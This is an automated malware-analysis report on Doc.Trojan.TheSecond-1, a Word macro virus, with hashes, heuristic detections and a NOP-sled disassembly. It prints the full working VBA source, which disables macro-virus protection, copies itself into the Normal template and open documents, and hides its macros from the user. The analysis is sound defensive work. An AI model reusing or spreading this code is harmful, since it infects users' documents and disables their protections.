Doc.Trojan.TheSecond-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 b42c8a637ff274cd…

MALICIOUS

Office (OLE)

29.5 KB Created: 2001-05-29 22:05:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 98909a0df11958fe7afaee9e11925885 SHA-1: 2467c716f95d911baaddf8a4771d6ea58957cff3 SHA-256: b42c8a637ff274cdc33670c95d781b20a90e8198065324d2a908090dfbf1d76b
228 Risk Score

Malware Insights

Doc.Trojan.TheSecond-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing a legacy WordBasic macro and VBA macros. The AutoClose macro in the 'TheSecond' VBA module attempts to export itself to a temporary file and then import it into the Normal template, likely to establish persistence or spread to other documents. The presence of 'Doc.Trojan.TheSecond-1' in the ClamAV detection further supports its classification as a known trojan.

Heuristics 6

  • ClamAV: Doc.Trojan.TheSecond-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.TheSecond-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
      Options.VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • NOP sled detected high SC_NOP_SLED
    Found 20+ consecutive 0x90 bytes
    Disassembly
    x86 disassembly · validity: code (0.9) — no internal branches to corroborate control flow
    00000B5D  90                nop
    00000B5E  90                nop
    00000B5F  90                nop
    00000B60  90                nop
    00000B61  90                nop
    00000B62  90                nop
    00000B63  90                nop
    00000B64  90                nop
    00000B65  90                nop
    00000B66  90                nop
    00000B67  90                nop
    00000B68  90                nop
    00000B69  90                nop
    00000B6A  90                nop
    00000B6B  90                nop
    00000B6C  90                nop
    00000B6D  90                nop
    00000B6E  90                nop
    00000B6F  90                nop
    00000B70  90                nop
    00000B71  90                nop
    00000B72  90                nop
    00000B73  90                nop
    00000B74  90                nop
    00000B75  90                nop
    00000B76  90                nop
    00000B77  90                nop
    00000B78  90                nop
    00000B79  90                nop
    00000B7A  90                nop
    00000B7B  90                nop
    00000B7C  90                nop
    00000B7D  90                nop
    00000B7E  90                nop
    00000B7F  90                nop
    00000B80  90                nop
    00000B81  90                nop
    00000B82  90                nop
    00000B83  90                nop
    00000B84  90                nop
    00000B85  90                nop
    00000B86  90                nop
    00000B87  90                nop
    00000B88  90                nop
    00000B89  90                nop
    00000B8A  90                nop
    00000B8B  90                nop
    00000B8C  90                nop
    00000B8D  90                nop
    00000B8E  90                nop
    00000B8F  90                nop
    00000B90  90                nop
    00000B91  90                nop
    00000B92  90                nop
    00000B93  90                nop
    00000B94  90                nop
    00000B95  90                nop
    00000B96  90                nop
    00000B97  90                nop
    00000B98  90                nop
    00000B99  90                nop
    00000B9A  90                nop
    00000B9B  90                nop
    00000B9C  90                nop
    00000B9D  90                nop
    00000B9E  90                nop
    00000B9F  90                nop
    00000BA0  90                nop
    00000BA1  90                nop
    00000BA2  90                nop
    00000BA3  90                nop
    00000BA4  90                nop
    00000BA5  90                nop
    00000BA6  90                nop
    00000BA7  90                nop
    00000BA8  90                nop
    00000BA9  90                nop
    00000BAA  90                nop
    00000BAB  0000              add byte ptr [eax], al
    00000BAD  0000              add byte ptr [eax], al
    00000BAF  0000              add byte ptr [eax], al
    00000BB1  0000              add byte ptr [eax], al
    00000BB3  0000              add byte ptr [eax], al
    00000BB5  0000              add byte ptr [eax], al
    00000BB7  0000              add byte ptr [eax], al
    00000BB9  0000              add byte ptr [eax], al
    00000BBB  0000              add byte ptr [eax], al
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7815 bytes
SHA-256: e40d8887a9d6aaf1842cf80e7a5e0a06fd2d50a918269c8c12615fbb128cc9f2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "TheSecond"
Sub AutoClose()
  Copyrights = "The Second, 2000"
  NickName = "Revenger"
  Options.VirusProtection = False
  flag = False
  If Documents.Count >= 1 Then
    counter = NormalTemplate.VBProject.VBComponents.Count
    For i = 1 To counter
      If NormalTemplate.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
    Next i
    x = Application.StartupPath + "\TheSecond.tmp"
    If Not flag Then
      ActiveDocument.VBProject.VBComponents("TheSecond").Export (x)
      NormalTemplate.VBProject.VBComponents.Import (x)
    End If
    flag = False
    infected = False
    havesave = ActiveDocument.Saved
    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
      If ActiveDocument.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
    Next i
    If Not flag Then
      NormalTemplate.VBProject.VBComponents("TheSecond").Export (x)
      ActiveDocument.VBProject.VBComponents.Import (x)
      infected = True
    End If
    If havesave And infected And (Left(ActiveDocument.Name, 8) <> "Äîêóìåíò") Then
      Dialogs(wdDialogFileSaveAs).Execute
    End If
    ActiveDocument.Saved = havesave
  End If
End Sub
Sub FilePrint()
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Íþáèí"
    .Replacement.Text = "Íóäèí"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
  Dialogs(wdDialogFilePrint).Show
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Íóäèí"
    .Replacement.Text = "Íþáèí"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
End Sub
Sub ToolsMacro()
  Dialogs(wdDialogToolsMacro).Display
End Sub
Sub ViewVBCode()
  MsgBox ("Íåò çàãðóæåííûõ ìàêðîñîâ!")
End Sub

' Processing file: /tmp/qstore_dlujbhtz
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/TheSecond - 3683 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	LitStr 0x0010 "The Second, 2000"
' 	St Copyrights 
' Line #2:
' 	LitStr 0x0008 "Revenger"
' 	St NickName 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	LitVarSpecial (False)
' 	St flag 
' Line #5:
' 	Ld Documents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	Ge 
' 	IfBlock 
' Line #6:
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St counter 
' Line #7:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld counter 
' 	For 
' Line #8:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "TheSecond"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #9:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #10:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitStr 0x000E "\TheSecond.tmp"
' 	Add 
' 	St x 
' Line #11:
' 	Ld flag 
' 	Not 
' 	IfBlock 
' Line #12:
' 	Ld x 
' 	Paren 
' 	LitStr 0x0009 "TheSecond"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #13:
' 	Ld x 
' 	Paren 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	LitVarSpecial (False)
' 	St flag 
' Line #16:
' 	LitVarSpecial (False)
' 	St infected 
' Line #17:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St havesave 
' Line #18:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #19:
' 	Ld i 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "TheSecond"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #20:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #21:
' 	Ld flag 
' 	Not 
' 	IfBlock 
' Line #22:
' 	Ld x 
' 	Paren 
' 	LitStr 0x0009 "TheSecond"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #23:
' 	Ld x 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #24:
' 	LitVarSpecial (True)
' 	St infected 
' Line #25:
' 	EndIfBlock 
' Line #26:
' 	Ld havesave 
' 	Ld infected 
' 	And 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0008 "Äîêóìåíò"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #27:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Execute 0x0000 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	Ld havesave 
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	EndSub 
' Line #32:
' 	FuncDefn (Sub FilePrint())
' Line #33:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #34:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #35:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #36:
' 	LitStr 0x0005 "Íþáèí"
' 	MemStWith Then 
' Line #37:
' 	LitStr 0x0005 "Íóäèí"
' 	MemLdWith Replacement 
' 	MemSt Then 
' Line #38:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #39:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #40:
' 	LitVarSpecial (False)
' 	MemStWith Format$ 
' Line #41:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #42:
' 	LitVarSpecial (False)
' 	MemStWith MatchWholeWord 
' Line #43:
' 	LitVarSpecial (False)
' 	MemStWith MatchWildcards 
' Line #44:
' 	EndWith 
' Line #45:
' 	Ld wdReplaceAll 
' 	ParamNamed Replace 
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall Execute 0x0001 
' Line #46:
' 	Ld wdDialogFilePrint 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #47:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #48:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #49:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #50:
' 	LitStr 0x0005 "Íóäèí"
' 	MemStWith Then 
' Line #51:
' 	LitStr 0x0005 "Íþáèí"
' 	MemLdWith Replacement 
' 	MemSt Then 
' Line #52:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #53:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #54:
' 	LitVarSpecial (False)
' 	MemStWith Format$ 
' Line #55:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #56:
' 	LitVarSpecial (False)
' 	MemStWith MatchWholeWord 
' Line #57:
' 	LitVarSpecial (False)
' 	MemStWith MatchWildcards 
' Line #58:
' 	EndWith 
' Line #59:
' 	Ld wdReplaceAll 
' 	ParamNamed Replace 
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall Execute 0x0001 
' Line #60:
' 	EndSub 
' Line #61:
' 	FuncDefn (Sub ToolsMacro())
' Line #62:
' 	Ld wdDialogToolsMacro 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Display 0x0000 
' Line #63:
' 	EndSub 
' Line #64:
' 	FuncDefn (Sub ViewVBCode())
' Line #65:
' 	LitStr 0x0019 "Íåò çàãðóæåííûõ ìàêðîñîâ!"
' 	Paren 
' 	ArgsCall MsgBox 0x0001 
' Line #66:
' 	EndSub